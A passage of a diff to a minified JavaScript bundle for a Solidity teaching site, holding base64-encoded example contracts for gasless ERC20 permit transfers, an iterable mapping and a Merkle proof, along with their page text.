ICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKG1zZy5zZW5kZXIsIHRvLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHVpbnQyNTYgYWxsb3dlZCA9IGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXTsgLy8gU2F2ZXMgZ2FzIGZvciBsaW1pdGVkIGFwcHJvdmFscy4KICAgICAgICBpZiAoYWxsb3dlZCAhPSB0eXBlKHVpbnQyNTYpLm1heCkgewogICAgICAgICAgICBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl0gPSBhbGxvd2VkIC0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwoKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgcHVibGljIHZpcnR1YWwgewogICAgICAgIHJlcXVpcmUoZGVhZGxpbmUgPj0gYmxvY2sudGltZXN0YW1wLCAiUEVSTUlUX0RFQURMSU5FX0VYUElSRUQiKTsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYWRkcmVzcyByZWNvdmVyZWRBZGRyZXNzID0gZWNyZWNvdmVyKAogICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgICAgICAgICAgICAgICJceDE5XHgwMSIsCiAgICAgICAgICAgICAgICAgICAgICAgIERPTUFJTl9TRVBBUkFUT1IoKSwKICAgICAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJQZXJtaXQoYWRkcmVzcyBvd25lcixhZGRyZXNzIHNwZW5kZXIsdWludDI1NiB2YWx1ZSx1aW50MjU2IG5vbmNlLHVpbnQyNTYgZGVhZGxpbmUpIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3duZXIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3BlbmRlciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBub25jZXNbb3duZXJdKyssCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVhZGxpbmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICB2LAogICAgICAgICAgICAgICAgciwKICAgICAgICAgICAgICAgIHMKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICByZWNvdmVyZWRBZGRyZXNzICE9IGFkZHJlc3MoMCkgJiYgcmVjb3ZlcmVkQWRkcmVzcyA9PSBvd25lciwKICAgICAgICAgICAgICAgICJJTlZBTElEX1NJR05FUiIKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIGFsbG93YW5jZVtyZWNvdmVyZWRBZGRyZXNzXVtzcGVuZGVyXSA9IHZhbHVlOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIERPTUFJTl9TRVBBUkFUT1IoKSBwdWJsaWMgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gYmxvY2suY2hhaW5pZCA9PSBJTklUSUFMX0NIQUlOX0lECiAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgIDogY29tcHV0ZURvbWFpblNlcGFyYXRvcigpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKSBpbnRlcm5hbCB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGUoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgIkVJUDcxMkRvbWFpbihzdHJpbmcgbmFtZSxzdHJpbmcgdmVyc2lvbix1aW50MjU2IGNoYWluSWQsYWRkcmVzcyB2ZXJpZnlpbmdDb250cmFjdCkiCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgIGtlY2NhazI1NigiMSIpLAogICAgICAgICAgICAgICAgYmxvY2suY2hhaW5pZCwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgYWRkcmVzcygwKSwgYW1vdW50KTsKICAgIH0KfQoKY29udHJhY3QgRVJDMjBQZXJtaXQgaXMgRVJDMjAgewogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpCiAgICAgICAgRVJDMjAoX25hbWUsIF9zeW1ib2wsIF9kZWNpbWFscykKICAgIHt9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgcHVibGljIHsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"GaslessTokenTransfer.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEdhc2xlc3NUb2tlblRyYW5zZmVyIHsKICAgIGZ1bmN0aW9uIHNlbmQoCiAgICAgICAgYWRkcmVzcyB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2VpdmVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZmVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgLy8gUGVybWl0IHNpZ25hdHVyZQogICAgICAgIHVpbnQ4IHYsCiAgICAgICAgYnl0ZXMzMiByLAogICAgICAgIGJ5dGVzMzIgcwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gUGVybWl0CiAgICAgICAgSUVSQzIwUGVybWl0KHRva2VuKS5wZXJtaXQoCiAgICAgICAgICAgIHNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50ICsgZmVlLCBkZWFkbGluZSwgdiwgciwgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2ZXIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo="}],hA=`

            Gasless ERC20 token transfer with Meta transaction

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -1886,7 +1886,7 @@ How to swap tokens
         _mint(to, amount);
     }
 }
-
            `,Iu=({prev:s,next:a})=>r.jsx(u,{version:ou,title:ru,description:iu,html:hu,prev:s,next:a,codes:gu}),du="0.8.24",Cu="Iterable Mapping",ju="Iterable Mapping in Solidity",uu=[{fileName:"IterableMapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1hcHBpbmcgZnJvbSBhZGRyZXNzIHRvIHVpbnQ7CiAgICBzdHJ1Y3QgTWFwIHsKICAgICAgICBhZGRyZXNzW10ga2V5czsKICAgICAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgdmFsdWVzOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBpbmRleE9mOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBpbnNlcnRlZDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAudmFsdWVzW2tleV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0S2V5QXRJbmRleChNYXAgc3RvcmFnZSBtYXAsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgcmV0dXJuIG1hcC5rZXlzW2luZGV4XTsKICAgIH0KCiAgICBmdW5jdGlvbiBzaXplKE1hcCBzdG9yYWdlIG1hcCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAua2V5cy5sZW5ndGg7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0KE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXksIHVpbnQyNTYgdmFsKSBwdWJsaWMgewogICAgICAgIGlmIChtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbWFwLmluc2VydGVkW2tleV0gPSB0cnVlOwogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgICAgIG1hcC5pbmRleE9mW2tleV0gPSBtYXAua2V5cy5sZW5ndGg7CiAgICAgICAgICAgIG1hcC5rZXlzLnB1c2goa2V5KTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlKE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXkpIHB1YmxpYyB7CiAgICAgICAgaWYgKCFtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBkZWxldGUgbWFwLmluc2VydGVkW2tleV07CiAgICAgICAgZGVsZXRlIG1hcC52YWx1ZXNba2V5XTsKCiAgICAgICAgdWludDI1NiBpbmRleCA9IG1hcC5pbmRleE9mW2tleV07CiAgICAgICAgYWRkcmVzcyBsYXN0S2V5ID0gbWFwLmtleXNbbWFwLmtleXMubGVuZ3RoIC0gMV07CgogICAgICAgIG1hcC5pbmRleE9mW2xhc3RLZXldID0gaW5kZXg7CiAgICAgICAgZGVsZXRlIG1hcC5pbmRleE9mW2tleV07CgogICAgICAgIG1hcC5rZXlzW2luZGV4XSA9IGxhc3RLZXk7CiAgICAgICAgbWFwLmtleXMucG9wKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RJdGVyYWJsZU1hcCB7CiAgICB1c2luZyBJdGVyYWJsZU1hcHBpbmcgZm9yIEl0ZXJhYmxlTWFwcGluZy5NYXA7CgogICAgSXRlcmFibGVNYXBwaW5nLk1hcCBwcml2YXRlIG1hcDsKCiAgICBmdW5jdGlvbiB0ZXN0SXRlcmFibGVNYXAoKSBwdWJsaWMgewogICAgICAgIG1hcC5zZXQoYWRkcmVzcygwKSwgMCk7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDEpLCAxMDApOwogICAgICAgIG1hcC5zZXQoYWRkcmVzcygyKSwgMjAwKTsgLy8gaW5zZXJ0CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDIpLCAyMDApOyAvLyB1cGRhdGUKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMyksIDMwMCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG1hcC5zaXplKCk7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIGtleSA9IG1hcC5nZXRLZXlBdEluZGV4KGkpOwogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg=="}],Au=`

            You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

            +`,IA=({prev:s,next:a})=>r.jsx(A,{version:oA,title:rA,description:iA,html:hA,prev:s,next:a,codes:gA}),dA="0.8.24",CA="Iterable Mapping",jA="Iterable Mapping in Solidity",AA=[{fileName:"IterableMapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1hcHBpbmcgZnJvbSBhZGRyZXNzIHRvIHVpbnQ7CiAgICBzdHJ1Y3QgTWFwIHsKICAgICAgICBhZGRyZXNzW10ga2V5czsKICAgICAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgdmFsdWVzOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBpbmRleE9mOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBpbnNlcnRlZDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAudmFsdWVzW2tleV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0S2V5QXRJbmRleChNYXAgc3RvcmFnZSBtYXAsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgcmV0dXJuIG1hcC5rZXlzW2luZGV4XTsKICAgIH0KCiAgICBmdW5jdGlvbiBzaXplKE1hcCBzdG9yYWdlIG1hcCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAua2V5cy5sZW5ndGg7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0KE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXksIHVpbnQyNTYgdmFsKSBwdWJsaWMgewogICAgICAgIGlmIChtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbWFwLmluc2VydGVkW2tleV0gPSB0cnVlOwogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgICAgIG1hcC5pbmRleE9mW2tleV0gPSBtYXAua2V5cy5sZW5ndGg7CiAgICAgICAgICAgIG1hcC5rZXlzLnB1c2goa2V5KTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlKE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXkpIHB1YmxpYyB7CiAgICAgICAgaWYgKCFtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBkZWxldGUgbWFwLmluc2VydGVkW2tleV07CiAgICAgICAgZGVsZXRlIG1hcC52YWx1ZXNba2V5XTsKCiAgICAgICAgdWludDI1NiBpbmRleCA9IG1hcC5pbmRleE9mW2tleV07CiAgICAgICAgYWRkcmVzcyBsYXN0S2V5ID0gbWFwLmtleXNbbWFwLmtleXMubGVuZ3RoIC0gMV07CgogICAgICAgIG1hcC5pbmRleE9mW2xhc3RLZXldID0gaW5kZXg7CiAgICAgICAgZGVsZXRlIG1hcC5pbmRleE9mW2tleV07CgogICAgICAgIG1hcC5rZXlzW2luZGV4XSA9IGxhc3RLZXk7CiAgICAgICAgbWFwLmtleXMucG9wKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RJdGVyYWJsZU1hcCB7CiAgICB1c2luZyBJdGVyYWJsZU1hcHBpbmcgZm9yIEl0ZXJhYmxlTWFwcGluZy5NYXA7CgogICAgSXRlcmFibGVNYXBwaW5nLk1hcCBwcml2YXRlIG1hcDsKCiAgICBmdW5jdGlvbiB0ZXN0SXRlcmFibGVNYXAoKSBwdWJsaWMgewogICAgICAgIG1hcC5zZXQoYWRkcmVzcygwKSwgMCk7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDEpLCAxMDApOwogICAgICAgIG1hcC5zZXQoYWRkcmVzcygyKSwgMjAwKTsgLy8gaW5zZXJ0CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDIpLCAyMDApOyAvLyB1cGRhdGUKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMyksIDMwMCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG1hcC5zaXplKCk7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIGtleSA9IG1hcC5nZXRLZXlBdEluZGV4KGkpOwogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg=="}],uA=`

            You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -1971,7 +1971,7 @@ How to swap tokens
         assert(map.getKeyAtIndex(2) == address(2));
     }
 }
-
            `,yu=({prev:s,next:a})=>r.jsx(u,{version:du,title:Cu,description:ju,html:Au,prev:s,next:a,codes:uu}),mu="0.8.24",bu="Merkle Tree",wu="Learn about Merkle tree in Solidity",ku=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludDI1NiBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9CiAgICAgICAgICAgIFsiYWxpY2UgLT4gYm9iIiwgImJvYiAtPiBkYXZlIiwgImNhcm9sIC0+IGFsaWNlIiwgImRhdmUgLT4gYm9iIl07CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHRyYW5zYWN0aW9ucy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZCh0cmFuc2FjdGlvbnNbaV0pKSk7CiAgICAgICAgfQoKICAgICAgICB1aW50MjU2IG4gPSB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgICAgIHVpbnQyNTYgb2Zmc2V0ID0gMDsKCiAgICAgICAgd2hpbGUgKG4gPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG4gLSAxOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGhhc2hlcy5wdXNoKAogICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc2hlc1tvZmZzZXQgKyBpXSwgaGFzaGVzW29mZnNldCArIGkgKyAxXQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvZmZzZXQgKz0gbjsKICAgICAgICAgICAgbiA9IG4gLyAyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRSb290KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBoYXNoZXNbaGFzaGVzLmxlbmd0aCAtIDFdOwogICAgfQoKICAgIC8qIHZlcmlmeQogICAgM3JkIGxlYWYKICAgIDB4ZGNhMzMyNmFkN2U4MTIxYmY5Y2Y5YzEyMzMzZTZiMjI3MWFiZTgyM2VjOWVkZmU0MmY4MTNiMWU3NjhmYTU3YgoKICAgIHJvb3QKICAgIDB4Y2MwODZmY2MwMzgxODliNDY0MWRiMmNjNGYxZGUzYmIxMzJhZWZiZDY1ZDUxMGQ4MTc1OTE1NTA5Mzc4MThjNwoKICAgIGluZGV4CiAgICAyCgogICAgcHJvb2YKICAgIDB4OGRhOWUxYzgyMGY5ZGJkMTU4OWZkNjU4NTg3MmJjMTA2MzU4ODYyNTcyOWU3YWIwNzk3Y2ZjNjNhMDBiZDk1MAogICAgMHg5OTU3ODhmZmMxMDNiOTg3YWQ1MGY1ZTU3MDdmZDA5NDQxOWViMTJkOTU1MmNjNDIzYmQwY2Q4NmEzODYxNDMzCiAgICAqLwp9Cg=="}],Zu=`

            Merkle tree allows you to cryptographically prove that an element is contained

            +`,yA=({prev:s,next:a})=>r.jsx(A,{version:dA,title:CA,description:jA,html:uA,prev:s,next:a,codes:AA}),mA="0.8.24",bA="Merkle Tree",wA="Learn about Merkle tree in Solidity",kA=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludDI1NiBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIH